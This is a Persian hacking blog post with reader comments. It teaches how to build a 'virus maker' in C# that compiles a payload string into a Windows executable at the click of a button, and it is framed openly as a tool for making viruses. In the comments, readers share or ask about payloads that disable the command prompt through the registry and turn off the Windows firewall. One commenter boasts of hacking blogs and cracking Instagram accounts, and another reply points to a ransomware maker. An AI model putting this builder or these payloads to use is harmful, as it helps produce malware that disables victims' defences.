آموزش ساخت ویروس میکر :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۲۲ مرداد ۰۲، ۰۰:۳۴ - Sami
    مرسی
  • ۱۴ مرداد ۰۲، ۱۴:۴۶ - farhad
    salam

شاید برای شما هم جالب باشه که برنامه ای بسازید که خروجی نرم افزار بده بهتون

مثل ویروس میکرها و یا کامپایلر ها و ...

آموزشی که درباره اش قراره بحث کنیم در اصل ساخت کامپایلر هستش

ما میتونیم یه کامپایلر با ویژه گی هایی که دوست داریم درست کنیم

من میخوام در این پست یه برنامه ای بسازم که مخاطبم بصورت کلیکی بتونه برنامه ای که میخواد رو بسازه

یه پروژه سی شارپ در ویژوآل استودیو استارت کنید

فرقی نداره فریم وورکش چند باشه

کار خیلی ساده ای هستش فقط یکم دقت لازمه

یک عدد دکمه و یدونه هم تکست باکس فعلا کافیه

بعد کتابخونه های زیر رو اضافه کنید

using System.CodeDom.Compiler;
using Microsoft.CSharp;

حالا یه کد برای ویروس باید آماده کنید

فرض کنید تکه کد زیر یه ویروسه

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace virus32
{
    class Program
    {
        static void Main(string[] args)
        {

            MessageBox.Show("Hello Virus32");
        }
    }
}

یادتون باشه هر جور کد و برنامه ای میتونه باشه

حتی برنامه یا ویروس گرافیکی و ویندوز فرم

ما میخواییم مخاطب با کلیک کردن روی دکمه ، این ویروس براش ساخته شه

یه متد از جنس رشته تو برنامه تعریف میکنیم و کدهای بالا رو تبدیل به یه رشته کرده برای یه متغییر نسبتش میدیم

private string Attacker32()
        {
            string coder = "using System; " + Environment.NewLine;
            coder += "using System.Drawing;" + Environment.NewLine;
            coder += "using System.Windows.Forms;" + Environment.NewLine;
            coder += "namespace " + textBox1.Text + Environment.NewLine;
            coder += "{" + Environment.NewLine;
            coder += "class Program" + Environment.NewLine;
            coder += "{" + Environment.NewLine;
            coder += "static void Main(string[] args)" + Environment.NewLine;
            coder += "{" + Environment.NewLine;
            coder += @"MessageBox.Show(""Hello Virus32"");" + Environment.NewLine;
            coder += "}" + Environment.NewLine;
            coder += "}" + Environment.NewLine;
            coder += "    }" + Environment.NewLine;
            return coder;
        }

توی متد Attacker32 یه رشته به اسم coder تعریف کردم و کدهای ویروسم رو براش تیکه تیکه توضیح دادم

حالا روی دکمه دوبار کلیک کنید و کدهای زیر رو بنویسید

try
            {
                CompilerParameters Params = new CompilerParameters();
                Params.GenerateExecutable = true;
                Params.ReferencedAssemblies.Add("System.dll");
                Params.ReferencedAssemblies.Add("System.Drawing.dll");
                Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
                Params.OutputAssembly = textBox1.Text + ".exe";
                Params.CompilerOptions = " /target:winexe";
                string Source = Attacker32();
                CompilerResults results = new CSharpCodeProvider().CompileAssemblyFromSource(Params, Source);
                MessageBox.Show("برنامه ایجاد شد");
            }
            catch
            {
                MessageBox.Show("مشکلی رخ داده است");
            }

کل ماجرای ویروس میکرها همین بود

کدها و شکل های مختلفی دارن که اونا سلیقه ای هستن

برای مثال میتونیم یه ویروس میکر به شکل زیر بنویسیم که هم کدهای آماده داشته باشه هم بتونیم کدهاشو دستکاری یا کدهای جدید بهش اضافه کنیم

امیدوارم مفید بوده باشه

پیروز باد

نظر (۲۴)

  • Virus32
  • محمد صادق تقی زاده
  • واقعا ممنون !

    Virus32 Virus 32 :
    خواهش میشه :)
  • Virus32
  • محمد صادق تقی زاده
  • نه تو رو خدا شوما با این حالتون ! خخخخ

    وظیفس ، ممنونم بازم !

    Virus32 Virus 32 :
    D:
    آخر یکی پیدا شد حال مارو بدونه D:
    لایک یادت نره ، اتکر (ته تغاریمون) خوشحال میشه D:
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

    عالی بود‌...

    ****** ****

    ***** ***** *********

    Virus32 32 Attacker ‌ :
    قربونت، فعلا فکر نکنم، حالا بزار ویروس جون کامنتتو ببینه...
  • Virus32
  • علیـــــ ََ
  • حاجی یه سئوال

    الان یه نفر میاد اصل سینتکس زبان سی شارو یاد میگیره و به مفاهیم پایه مسلط میشه حالا برای یاد گیری کتابخونه های زبان سی شارپ باید چیکار کنه؟ مرجع و منبع خاصی داره یا این که طرف با انجام پروژه های مختلف خودش کم کم با این کتابخونه ها هم کار میکنه و باهاشون اشنا میشه؟

     

    Virus32 32 Attacker ‌ :
    نظریه دومت درسته، باید بری توو کار و توو پروژه ها تا یاد بگیری، این تجربه برنامه نویسای بزرگه...

    داش این جواب نمیده 

     

    من نوشتم یک برنامه بسازه که دستور غیر فعال سازی سی ام دی که تو پست کلکسیونی از غیرفعال کردن برنامه های ویندوز رو کامپایل کنه

     

    مینیویسه برنامه ساخته شد ولی نمیسازه 

    Virus32 Virus 32 :
    میشه کدت رو با ما به اشتراک بزاری؟
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

    ***** *********

    Virus32 Virus 32 :
    خودت؟

    آره.

    Virus32 Virus 32 :
    متاسفانه فعلا به خاطر مسائل امنیتی نمیتونیم داداش!
  • Virus32
  • qwertyuiop][assddfghjkl;'zxcvbnm,./
  • میشه لینک همین برنامه ای که خودت ساختی را قرار بدی...

    Virus32 Virus 32 :
    نه
    سلام اینو پایتون یه راهنمایی میکنی
    Virus32 MR_C0D3R ‌ :
    سلام
    اینکار توی پایتون شاید یه خرده پیچیده باشه
    چون هسته ی پایتون با یه زبان دیگست
    و برای انجام اینجور کارها باید Cpp runtime و python و یکسری تشکیلات دیگه روی سیستم قربانی نصب باشه که بتونیم یکسری ویروس میکر هارو درست کنیم
    مثلا اینجا یدونه Ransomware Maker موجوده که کارش اینه که یه باج افزار با پسوند exe میسازه
    اما اگه توضیحاتش رو بخونی متوجه میشی که برای کار کردن درستش باید یکسری برنامه نصب کنی...
    به هر حال تورو با اون پست تنها میزارم که مطالعه کنی و امیدوارم بکارت بیاد

    سلم ی کامپایلر همینطوری واس پایتون دلم میخاد بسازم این راحته؟ فک میکنم چون سی شارپ ی زبان قدیمیه و سیستم ها معمولا پیشنیاز هاشونو دارن راحت ساخته میشه

     

    و این ک میشه ی کدی بنویسیم ک بتونه کد هارو از تو ی فایل بخونه یا هر طوری استرینگ رو بخونه و اجرا کنه؟

    Virus32 MR_C0D3R ‌ :
    سلام
    سی شارپ زبان قدیمی نیستش و هنوزم که هنوزه خیلی جاها ازش استفاده میکنن
    اما بستگی به این داره که ذهنیت ما چطور باشه و زیاد سختگیرانه باهاش برخورد نکنیم که انگار باید پرت بشه داخل سطل زباله
    به هر حال طرز کامپایل یه کد تو پایتون یه چیز تو مایه های مثالیه که تو کامنت قبلی بهت گفتم
    همچنین میتونی از این و این صفحه هم یه خرده استفاده کنی

    حیف وقت باهام یار نیست
    وگرنه یه پست کلی برات مینوشتم..

    جان من شماها ایرانی این؟؟به خدا الان 2 سال با وبلاگتم مطالبی که تو آمریکاشم نمیگن به همه ما یاد دادی خدایی ببینم دستتو میبوسم

    Virus32 32 Attacker ‌ :
    قربونت لطف داری

    ویروس کد منو نیگا

    به خدا نمیسازه برنامه رو

     

            string virus32 = "/C REG Add HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 1 /f\" );";
            
            private string Attacker32()
            {
                string coder = "using System; " + Environment.NewLine;
                coder += "using System.Drawing;" + Environment.NewLine;
                coder += "using System.Diagnostics;" + Environment.NewLine;
                coder += "namespace " + textBox1.Text + Environment.NewLine;
                coder += "{" + Environment.NewLine;
                coder += "class Program" + Environment.NewLine;
                coder += "{" + Environment.NewLine;
                coder += "static void Main(string[] args)" + Environment.NewLine;
                coder += "{" + Environment.NewLine;
                coder += "Process.Start(\"CMD.exe\"  + Environment.NewLine;
                coder += "}" + Environment.NewLine;
                coder += "}" + Environment.NewLine;
                coder += "    }" + Environment.NewLine;
                return coder;
            }
            void Button1Click(object sender, EventArgs e)
            {
                    CompilerParameters Params = new CompilerParameters();
                    Params.GenerateExecutable = true;
                    Params.ReferencedAssemblies.Add("System.dll");
                    Params.ReferencedAssemblies.Add("System.Drawing.dll");
                    Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
                    Params.OutputAssembly = textBox1.Text + ".exe";
                    Params.CompilerOptions = " /target:winexe";
                    string Source = Attacker32();
                    CompilerResults results = new CSharpCodeProvider().CompileAssemblyFromSource(Params, Source);
                    MessageBox.Show("برنامه ایجاد شد");

    Virus32 Virus 32 :
    کامپایلرت چیه؟ نسخه چند؟
    هیچ خطایی قبل از اجرا نداده و نمیده؟
    هرچند متد اتکر32 رو غلط نوشتی ولی اینکه برنامه ای ایجاد نمیشه بحثش جدائه و باید یه خروجی چه کاری چه خراب باید بسازه
    با سطح دسترسی ادمین برنامه رو تست کن run as administrator 

     Attacker 32 :
    متد منو اشتباه نوشتی من نفرینت کردم😟

    سلام داداش خسته نباشی  چجوری میتونم کد های مخرب برای ویروس نویسی ک توی چند پست قبل گذاشتی رو  وارد این برنامه بکنم ؟

     

    Netsh advfirewall set allprofiles state off

    مثل این  یعنی کجا باید واردش کنم؟

    Virus32 Virus 32 :
    داداش این پست رو برای شما نوشتم دیگه
  • Virus32
  • hiiiiiis donya hamine
  • داداش مرسییییی مرسی از ویروس جان من از 5 سالگی پشت کامپیوتر بازی میکردم تا 7 سالگی بلد نبودم بازی دان کنم یا بنصبم 10 سالگی یکم کار با کامپیوترم خوب شد 12 سالگی زبان پایتون و اچ تی ام ال رو یاد گرفتم دروغ چرا ولی نمیدونستم چجوری ازشون به خوبی استفاده کنم الان بعد چند سال با شما اشنا شدم و حالا میتونم خیلی راحت ویلاگ های بلاگ قا رو هک کنم و یا اکانت اینستا کرک کنم و کلی چیز  که شما یادم دادین جز این دوتا ولی خدایی دست MR C0D3R  هم درد نکنه.
    راستی برام مهم نیست این پیام رو بزارید یا نه مهم اینه شما اینو بخونید!!

    Virus32 MR_C0D3R ‌ :
    :| D:
    چون اسم من برده شد تایید میشود :))))))))

    سلام میشه ساخت یسری ویروس بایوسی مثل چرنوبیل بدی؟

    یه راهنمایی کوچیکم کنی ممنون میشم

    Virus32 32 Attacker ‌ :
    راستش ویروس های بایوس یکم جیزن، برای همین دوستان فیلترچی یکم ناراحت میشن و کلا وب رو مورد عنایت خودشون قرار میدن ;(

    اون ویروس بایوسی رو نمیشه یه ایمیل بدی مزاحمت شم لطفا خواهش التماس لازم دارم

    Virus32 MR_C0D3R ‌ :
    نه

    وبروس لطفا بهت ایمیل بدم اونجا میشه آموزش ویروس بایوس بدی؟ فقط دو تا لینک بده خواهش میکنم یه راهنمایی کن

    Virus32 MR_C0D3R ‌ :
    نه من و نه ویروس

    سلام لطفا اگه میشه اون برنامه ای که عکسش رو گذاشتیم برای دانلود قرار بدین

    Virus32 Virus 32 :
    سلام عزیزم
    فعلا که نمیتونم برنامه های خودمو منتشر کنم
    ولی قبل از بازنشستگی کاملم همه رو منتشر میکنم صفا کنید D:

    سلام چرا یه سایت مستقل نمیسازین  خیلی راحت میشه ها فک کنم

    Virus32 32 Attacker ‌ :
    نه اینطوری راحت تره

    عاقو یه سوال

    اگه با ادیتور های مختلفی مثل نوتپد پلاس پلاس و ... کارکرده باشید با زدن کلید های ترکیبی ctrl+space لیست دستورات برای شما باز میشه

    اتریب یا هر کس دیگه ای که بلد بود(اتریب متخصصه پایتونه=)))  ) بگه این نشون دادن رو چه طوری توی برنامه بزاریم

    حالا خیلی مهم نیست که کلمه رو چه طوری پیدا کرد. فعلا تشخیص موقعیت نشانگر نوشتن توی متن هست که کجای متنه و بعد روی اون یک چیزی بیاریم

    تکینتر خوبه برای این کار؟

    Virus32 ولم کنید (: :
    من متخصص پایتون نیستم ):
    فک کنم با پای کیوت بهتر باشه...قطعا بهتره!

    سلام و متچکرم از مطالب مفیدتون 

    من خیلی سعی و تلاش کردم که بتونم یه ویروس میکر بسازم با چک لیست باکس اپشن ها رو انتخاب کنه و اخر هم موقع کامپایل انکریپت بشه یه ماهی سعی دارم میکنم ولی نمیشه 

    کد های ویروس رو زدم اماده دارم ui هم درست شده بخش انکریپت ودیکریپتشم تا یه جاهای زدم و اخراشه اما هرکار میکنم نمیشه کاری کنم یجوری وقتی چک باکس های خاصی انتخاب شد کد های مربوط به همونا داخل کامپایلر اختصاصی ریخته بشه وویروسم کامپایل بشه اگه میشع یه برنامه ساده باچک لیست باکس بزنید و برای هر کدوم ی کد خاصی در نظر بگیرید و سر اخر ی باتن بزارید وقتی زدیم روش کد های مربوطه کامپایل بشه و یه نرم افزار ویندوز فرمی درست بشه سورسشو بزارین منم یاد بگیرم یا اموزششو همینجا یا به ایمیل من بفرستید خیلی از زحمات شما سپاسگزارم.

     

     

     

     

     

    Virus32 32 Attacker ‌ :
    کار سختی نیست، فقط کافیه برای هر کد یه رشته در نظر بگیری و با انتخاب کردن چک باکس مورد نظر اون رشته ادد بشه به کدهات. راه های زیادی داره میتونی کد هارو توو ریچ تکست باکس هم به نمایش در بیاری و با انتخاب چک باکس، کد مدنظر به ریچ تکست باکس اضافه شه و....

    سلام Attacker 32

    چه چیز جالبی Gooooooooooooooooooooood

    من میخواستم به برنامه بسازم که داخل یه Text Box که سی شارپ رو بنویسم بعد کاپایلش کمن ولی نتونستم بگو چجوری این کار رو بکنم

    Virus32 Ax0o 32 :
    جان؟|:

    ویروس چرا بازنشسته؟

    ولی منم این درخواست رو داشتم =)

    برنامه رو قرار میدین؟

    باتشکر

    سلام استاد میگم میشه از طریق تکست باکس کد ها را وارد کرد که ثابت نباشن

    Virus32 Virus 32 :
    سلام
    بله میشه
    ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
    شما میتوانید از این تگهای html استفاده کنید:
    <b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
    تجدید کد امنیتی